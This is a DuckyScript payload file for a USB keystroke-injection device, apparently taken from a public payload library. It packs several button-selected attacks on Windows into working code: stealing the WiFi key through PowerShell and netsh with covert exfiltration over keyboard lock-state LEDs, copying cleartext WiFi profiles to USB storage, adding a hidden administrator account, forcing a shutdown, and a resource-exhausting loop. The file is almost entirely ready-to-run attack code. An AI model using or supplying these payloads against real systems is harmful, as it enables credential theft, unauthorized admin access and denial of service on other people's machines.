Path: blob/master/payloads/library/general/OneDuckToQuackThemAll/Payload.txt
2968 views
REM Title: One Duck To Quack Them All1REM Author: SaintCrossbow2REM Description: Pack multiple attacks in a single payload - click button to advance the attack3REM Click 1: LED G slow blink - Stealth exfil WiFi key (modified from original Hak5 payload)4REM Click 2: LED R slow blink - Direct USB copy of WiFi keys5REM Click 3: LED G fast blink - Add backdoor user6REM Click 4: LED R fast blink - Shutdown PC immediately7REM Click 5: LED R/G alternate - Fork bomb (really resource bomb)8REM Click 6: LED G morse A - USB storage9REM Target: Windows10REM Props: Darren Kitchen for the basis of stealth copy of wifi key1112ATTACKMODE HID13DELAY 200014LED_G1516VAR $MODESELECT = 017VAR $CLICK_OBS_WINDOW = 500018VAR $CLICK_OBS_TIME = 019VAR $CLICK_TICK = 8002021FUNCTION QUIET_STEAL_WIFI()22LED_R23ATTACKMODE HID24$_JITTER_ENABLED = TRUE25DELAY 200026GUI r27DELAY 100028STRING powershell "$cssid= (Get-NetConnectionProfile).Name[0]; netsh wlan show profile name=("$cssid") key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>$env:tmp\tmptst"29DELAY 30030ENTER31DELAY 300032GUI r33DELAY 30034$_JITTER_ENABLED = FALSE35STRINGLN powershell "foreach($b in $(cat $env:tmp\tmptst -En by)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'} else {$o+='%{CAPSLOCK}'}}};$o+='%{SCROLLLOCK}';echo $o >$env:tmp\tmptst"36DELAY 10037GUI r38DELAY 30039STRING powershell "$o=(cat $env:tmp\tmptst);Add-Type -A System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmp\tmptst"40DELAY 10041SAVE_HOST_KEYBOARD_LOCK_STATE42$_EXFIL_MODE_ENABLED = TRUE43$_EXFIL_LEDS_ENABLED = TRUE44DELAY 10045ENTER46WAIT_FOR_SCROLL_CHANGE47LED_G48$_EXFIL_MODE_ENABLED = FALSE49$_EXFIL_LEDS_ENABLED = FALSE50RESTORE_HOST_KEYBOARD_LOCK_STATE51END_FUNCTION5253FUNCTION DIRECT_STEAL_WIFI()54REM TODO Replace in final payload with DUCKY55LED_R56HIDE_PAYLOAD57ATTACKMODE HID STORAGE58$_JITTER_ENABLED = TRUE59DELAY 900060GUI r61DELAY 150062STRINGLN powershell63DELAY 300064STRINGLN $d=(Get-Volume -FileSystemLabel 'Ducky').DriveLetter+':'; cd $d; netsh wlan export profile key=clear65DELAY 300066STRINGLN exit67RESTORE_PAYLOAD68LED_G69END_FUNCTION7071FUNCTION CREATE_BACKDOOR()72LED_R73ATTACKMODE HID74$_JITTER_ENABLED = TRUE75DELAY 200076GUI r77DELAY 100078STRING cmd79DELAY 50080CTRL-SHIFT ENTER81DELAY 200082ALT y83DELAY 100084STRINGLN net user /add newuser newpass85DELAY 50086STRINGLN net localgroup administrators newuser /add87DELAY 50088STRINGLN exit89LED_G90END_FUNCTION9192REM I realize this is more of an iterative power hog than a strictly ballroom fork bomb93FUNCTION FORK_BOMB()94LED_R95ATTACKMODE HID96$_JITTER_ENABLED = TRUE97DELAY 200098GUI r99DELAY 1000100STRING powershell "while(1){&calc}"101DELAY 200102ENTER103END_FUNCTION104105FUNCTION IMMEDIATE_SHUTDOWN()106LED_R107ATTACKMODE HID108$_JITTER_ENABLED = TRUE109DELAY 2000110GUI r111DELAY 1000112STRING shutdown -t 0 -f -s113DELAY 200114ENTER115END_FUNCTION116117REM Default is single click118LED_G119WAIT_FOR_BUTTON_PRESS120121REM Clicking resets observation time to ensure you have right mode122REM So any attack will delay for $CLICK_OBS_WINDOW seconds123BUTTON_DEF124$CLICK_OBS_TIME = 0125$MODESELECT = ( $MODESELECT + 1 )126END_BUTTON127128REM Start the attack129WHILE ( $CLICK_OBS_TIME < $CLICK_OBS_WINDOW )130IF ( $MODESELECT == 0) THEN131LED_G132ELSE IF ( $MODESELECT == 1 ) THEN133LED_R134ELSE IF ( $MODESELECT == 2 ) THEN135LED_G136DELAY 100137LED_OFF138DELAY 100139LED_G140DELAY 100141LED_OFF142DELAY 100143LED_G144DELAY 100145ELSE IF ( $MODESELECT == 3 ) THEN146LED_R147DELAY 100148LED_OFF149DELAY 100150LED_R151DELAY 100152LED_OFF153DELAY 100154LED_R155DELAY 100156ELSE IF ( $MODESELECT == 4 ) THEN157LED_R158DELAY 200159LED_G160DELAY 200161LED_R162DELAY 200163LED_G164DELAY 200165ELSE166LED_G167DELAY 100168LED_OFF169DELAY 100170LED_G171DELAY 500172LED_OFF173DELAY 100174END_IF175DELAY $CLICK_TICK176$CLICK_OBS_TIME = ( $CLICK_OBS_TIME + $CLICK_TICK )177LED_OFF178DELAY $CLICK_TICK179$CLICK_OBS_TIME = ( $CLICK_OBS_TIME + $CLICK_TICK )180END_WHILE181182REM Main attack183IF ( $MODESELECT == 0) THEN184QUIET_STEAL_WIFI()185RESTART_PAYLOAD186ELSE IF ( $MODESELECT == 1 ) THEN187DIRECT_STEAL_WIFI()188RESTART_PAYLOAD189ELSE IF ( $MODESELECT == 2 ) THEN190CREATE_BACKDOOR()191RESTART_PAYLOAD192ELSE IF ( $MODESELECT == 3 ) THEN193IMMEDIATE_SHUTDOWN()194ELSE IF ( $MODESELECT == 4 ) THEN195FORK_BOMB()196ELSE197BUTTON_DEF198RESTART_PAYLOAD199END_BUTTON200ATTACKMODE HID STORAGE201LED_G202END_IF203204205